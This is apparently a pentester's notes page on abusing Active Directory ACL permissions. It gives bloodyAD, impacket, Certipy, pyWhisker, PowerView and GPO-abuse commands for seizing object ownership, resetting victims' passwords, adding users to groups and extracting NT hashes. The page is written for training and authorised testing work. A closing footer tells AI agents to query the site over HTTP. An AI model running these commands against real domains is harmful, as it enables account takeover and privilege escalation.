# Abuse ACL

<figure><img src="/files/KMxqts5mXGbpW6SqYbpd" alt=""><figcaption><p>From HTB</p></figcaption></figure>

## WriteOwner

The WriteOwner permission is a special ACE that lets a user change the ownership of an object. If the WriteOwner permission granted on an object, we can change the owner of that object to ourselves or another account we control. Once compromised, we gain full control over the object, allowing us to:\
Modify permissions to grant ourselves additional privileges. Change sensitive properties like resetting the account's password. In an attack scenario, an attacker with WriteOwner on a user account (such as a privileged account) can take ownership of that account, reset its password, and effectively take over the account to escalate privileges.

{% tabs %}
{% tab title="Remotely" %}
With [impacket-owneredit](https://github.com/fortra/impacket/blob/master/examples/owneredit.py)

{% code overflow="wrap" %}

```bash
owneredit.py -dc-ip <DC> -action write -new-owner <USER> -target '<TARGET/OBJECT>' <DOMAIN>/<USER>:<PASS>
```

{% endcode %}

Or with [bloodyAD](https://github.com/CravateRouge/bloodyAD)

{% code overflow="wrap" %}

```bash
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set owner <TARGET/OBJECT> <USER>
```

{% endcode %}

Now, to abuse ownership of a group object, we can modifying the rights with [impacket-dacledit](https://github.com/fortra/impacket/blob/master/examples/dacledit.py).\
Give user WriteMembers permissions (allows user to add or remove members in the target group)

{% code overflow="wrap" %}

```bash
dacledit.py -action 'write' -rights 'WriteMembers' -principal <USER> -target-dn '<groupDistinguidedName>' <DOMAIN>/<USER>:<PASS> -dc-ip <DC>
# dacledit.py 'AAA.BBB'/'alex':'mypass' -action write -rights WriteMembers -principal 'alex' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=AAAA,DC=BBB' -dc-ip 0.0.0.0
```

{% endcode %}

This step effectively allows us to be granted with any privileges or access rights associated with the target group.

Finally, you can add members to the group

{% code overflow="wrap" %}

```bash
net rpc group addmem <TargetGroup> <USER> -U <DOMAIN>/<USER>%<PASS> -S <DC>
```

{% endcode %}

and verify that the user was successfully added to the group

{% code overflow="wrap" %}

```bash
net rpc group members <TargetGroup> -U <DOMAIN>/<USER>%<PASS> -S <DC>
```

{% endcode %}

Alternatively, we can use genericAll permissions to change the user's password.

{% code overflow="wrap" %}

```bash
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set owner '<VICTIM>' '<ATTACKER>'
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> add genericAll '<VICTIM>' '<ATTACKER>'
bloodyAD --host <DC> -d <DOMAIN> -u <USER> -p <PASS> set password '<VICTIM>' '<NEW_PASSWORD>'
```

{% endcode %}
{% endtab %}
{% endtabs %}

## GenericWrite

Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user.

{% tabs %}
{% tab title="Remotely" %}

#### Remotely 1

With [Certipy](https://github.com/ly4k/Certipy)

{% code overflow="wrap" %}

```bash
certipy shadow auto -username <USER>@<DOMAIN> -p <PASS> -account <TARGET_ACCOUNT> -dc-ip <DC>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
certipy shadow auto -username <USER>@<DOMAIN> -hashes <HASH> -account <TARGET_ACCOUNT> -dc-ip <DC>
```

{% endcode %}

#### Remotely 2

By abusing GenericWrite permissions, we added with [pyWhisker](https://github.com/ShutdownRepo/pywhisker) a certificate to the target account as an alternative authentication method.

{% code overflow="wrap" %}

```bash
pywhisker.py -d <DOMAIN> -u <USER> -p <PASS> --target <TARGET_ACCOUNT> --action "add" --dc-ip <DC>
# take note of password
```

{% endcode %}

This certificate can then be used with [gettgtpkinit](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py) to request a Kerberos TGT as target, giving control over that account.

Synchronize time with domain controller with `ntpdate` or `rdate`.

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>sudo ntpdate &#x3C;IP_DC>
</strong></code></pre>

{% code overflow="wrap" %}

```bash
gettgtpkinit.py <DOMAIN>/<TARGET_ACCOUNT> -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC> <NAME_OUTPUT>
# take note of key
```

{% endcode %}

Get hash of tgt with [getnthash](https://github.com/dirkjanm/PKINITtools/blob/master/getnthash.py)

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=<NAME_OUTPUT>
getnthash.py -key <KEY> -dc-ip <IP> <DOMAIN>/<TARGET_ACCOUNT>
```

{% endcode %}
{% endtab %}

{% tab title="Locally" %}
{% code overflow="wrap" %}

```powershell
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
$newPassword = ConvertTo-SecureString '<NEW_PASSWORD>' -AsPlainText -Force
```

{% endcode %}

with PowerView ([old](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) and [new](https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1))

{% code overflow="wrap" %}

```powershell
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword $newPassword -Credential $Cred -Verbose
```

{% endcode %}
{% endtab %}
{% endtabs %}

## GenericAll

Full permissions on object

### **GenericAll to a user**&#x20;

{% tabs %}
{% tab title="Remotely" %}
Allows us to modify properties and have control of a user.\
We can reset the password of the user without knowing their current one.

{% code overflow="wrap" %}

```bash
net rpc password <TAGET> <NEW_PASS> -U <DOMAIN>/<USER>%<PASS> -S <DC>
```

{% endcode %}

Or with [bloodyAD](https://github.com/CravateRouge/bloodyAD) (PtH)

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> set password "<TARGET>" "<NEW-PASS>"
```

{% endcode %}
{% endtab %}
{% endtabs %}

### **GenericAll to a group**&#x20;

{% tabs %}
{% tab title="Remotely" %}
Allows us to add members to that group.

{% code overflow="wrap" %}

```bash
net rpc group addmem "<GROUP>" "<UserTarget>" <DOMAIN>/<USER>%<PASS> -S <DC>
```

{% endcode %}

Or with [bloodyAD](https://github.com/CravateRouge/bloodyAD) (PtH)

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> add groupMember "<GROUP>" "<UserTarget>"
```

{% endcode %}
{% endtab %}

{% tab title="Locally" %}

```powershell
Net group "<GROUP>" <USER> /add /domain
```

{% code overflow="wrap" %}

```powershell
$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
```

{% endcode %}

with PowerView ([old](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) and [new](https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1))

{% code overflow="wrap" %}

```powershell
Import-Module .\PowerView.ps1
Add-DomainGroupMember -Identity '<GROUP>' -Members '<TARGET>' -Credential $Cred -Verbose
```

{% endcode %}

Check

{% code overflow="wrap" %}

```powershell
Get-DomainGroupMember -Identity "<GROUP>" | Select MemberName
```

{% endcode %}
{% endtab %}
{% endtabs %}

### **GenericAll to a GPO**

With [pyGPOAbuse](https://github.com/Hackndo/pyGPOAbuse) add **`john`** user to local administrators group (Password: **`H4x00r123..`**)

{% code overflow="wrap" %}

```powershell
./pygpoabuse.py <DOMAIN>/<USER> [-hashes :<HASH>] -gpo-id "<GPO-ID>"
```

{% endcode %}

We can also use [SharpGPOAbuse](https://github.com/FSecureLABS/SharpGPOAbuse) with windows.

{% code overflow="wrap" %}

```powershell
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER> --GPOName "<GPO_NAME>”
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
gpupdate /force
```

{% endcode %}

## ForceChangePassword

{% tabs %}
{% tab title="Remotely" %}
{% code overflow="wrap" %}

```bash
net rpc password <TAGET> <NEW_PASS> -U <DOMAIN>/<USER>%<PASS> -S <DC>
```

{% endcode %}

Or with [bloodyAD](https://github.com/CravateRouge/bloodyAD) (PtH)

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or :HASH> set password "<TARGET>" "<NEW-PASS>"
```

{% endcode %}
{% endtab %}
{% endtabs %}

## AddSelf

With [bloodyAD](https://github.com/CravateRouge/bloodyAD)

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS or:HASH> add groupMember <GROUP> <USER>
```

{% endcode %}

## [Targeted Kerberoasting](/rednote/pentesting-process/active-directory/kerberoasting.md#targeted-kerberoasting)

With `GenericAll`, `GenericWrite`, `WriteProperty` or `Validated-SPN`.

***

## *Other*

### *Modify Attribute*&#x20;

with [bloodyAD](https://github.com/CravateRouge/bloodyAD).

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS> get object "<ex.USER>"
# ...
# userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT        (value:2)
```

{% endcode %}

{% code overflow="wrap" %}

```bash
bloodyAD --host <IP> -d <DOMAIN> -u <USER> -p <PASS> set object "<ex.USER>" userAccountControl -v '512' -h
# ...
# userAccountControl: NORMAL_ACCOUNT
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/abuse-acl.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.